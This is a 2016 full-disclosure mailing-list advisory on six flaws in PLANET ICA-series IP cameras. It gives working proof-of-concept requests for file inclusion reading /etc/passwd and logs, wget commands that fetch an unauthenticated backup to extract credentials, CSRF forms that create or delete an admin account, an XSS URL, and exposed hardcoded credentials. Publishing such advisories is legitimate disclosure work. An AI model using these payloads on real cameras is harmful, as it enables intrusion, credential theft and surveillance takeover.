full-disclosure - [FD] PLANET IP Surveillance camera Multiple Vulnerabilities

Open Source and information security mailing list archives

Date: Fri, 19 Feb 2016 11:34:41 -0200
From: 0rwell Labs <orwelllabs@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] PLANET IP Surveillance camera Multiple Vulnerabilities

Overview
=======
Technical Risk: high
Likelihood of Exploitation: medium
Tested version: ICA-5350V/ICA-*
Credits: Discovered and researched by GT.Omaz from OrwellLabs

Issues
=====
I.   Local File Inclusion
II.  Arbitrary file read/Authentication bypass
III. Sensitive information disclosure
IV. Cross-site request forgery
V.  Reflected Cross-site scripting
VI. hardcoded credentials

I. Local File Inclusion
================

The Web Management interface of PLANET IP surveillance Cam model ICA-5350V
(and probably some other models, maybe ICA-*)
is prone to Local File Include (LFI).

POC
------
The request bellow is generated when a new user is added, in this case
we are adding the following administrative credential for the cam:
"root:r00tx".

GET /cgi-bin/admin/querylogin.cgi HTTP/1.1
Host: {xxx.xxx.xxx.xxx}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101
Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer:
*http://{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp
*
Cookie: ipcam_profile=1; tour_index=-1; IsHideStreamingStatus=yes
Authorization: Basic YdRRtXW41YXRtad4=
Connection: keep-alive
If-Modified-Since: Mon, 08 Jul 2013 11:10:26 GMT

If the value of the parameter "redirect" was changed to any system file
will return the contents of that file, as shown below:
http://
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&
*redirect=/etc/passwd *

In this case will retrieved the content of /etc/passwd

II. Arbitrary file read/Authentication bypass
================================
The camera offers a feature to perform the download settings via a backup
file. However,
(how acess control is not effective) this file remains accessible via the
browser for an unauthenticated user.

POC
-----
wget --no-check-certificate https://{xxx.xxx.xxx.xxx}/backup.tar.gz
tar -xzvf backup.tar.gz
cat tmp/sysConfig/sysenv.cfg|strings|fmt|cut -f8,9 -d" "

It will return the credential to access the camera

Through this vulnerability a user can also obtain the credential of the AP
to which the camera is connected just parsing
the file: 'tmp/sysConfig/extra.info'

III. Sensitive information disclosure
===========================
Using LFI vulnerability report, a user can obtain sensitive information
such as username and password by reading the log file, as follows:

{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=&pwd=&grp=&sgrp=&action=&redirect=/var/log/messages

IV. Cross-site request forgery
======================
Planet IP cams ICA-* are prone to Multple CSRF.

POC
------

- This will create a admin credential: root:r00tx

<html>
<!-- CSRF PoC - -->
<body>
<form action="http://
{xxx.xxx.xxx.xxx}/setup.cgi?language=ie&adduser=root:r00tx:1">
<input type="submit" value="Submit form" />
</form>
</body>
</html>

- ICA-5350V

<html>
<!-- CSRF PoC -->
<body>
<form action="http://
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp">
<input type="submit" value="Submit form" />
</form>
</body>
</html>

- Del user root

<html>
<!-- CSRF PoC -->
<body>
<form action="http://
{xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=remove&redirect=asp%2Fuser.asp">
<input type="submit" value="Submit form" />
</form>
</body>
</html>

V. Cross-Site Scripting
=================
Cams models ICA-* are prone to Multiple XSS

POC
-------
http://{xxx.xxx.xxx.xxx}/setup.cgi?<script>alert("XSS")</script>

this will pop-up the message XSS in the browser

VI. hardcoded credentials
====================

The credentials of web management can be found just viewing the source of
page default_nets.htm:

POC
------
https://{xxx.xxx.xxx.xxx}/default_nets.htm

code:

}

function av_onload(){
CheckMobileMode();
util_SetUserInfo();
Loadplay();
watchdog();
//alert("watchdog");
}
function Loadplay(){
play("*MasterUsr","MasterPwd*
","554",parseInt("99"),parseInt("99"),"1",parseInt("2"),parseInt("0"),"192.168.1.99","");
}

Timeline
=======
2015-10-02 - Issues discovered
2015-11-30 - Vendor contacted (advisore sent)
2015-12-16 - Vendor contacted (asking for feedback about reported issues)
2015-12-17 - Vendor response (asking for more time to check issues)
2015-12-21 - RD team replied: can't duplicate vulnerabilities....
2016-01-13 - Vendor contacted (submitted evidence that the vulnerabilities
persist and can be reproduced.)
...and no news after that...

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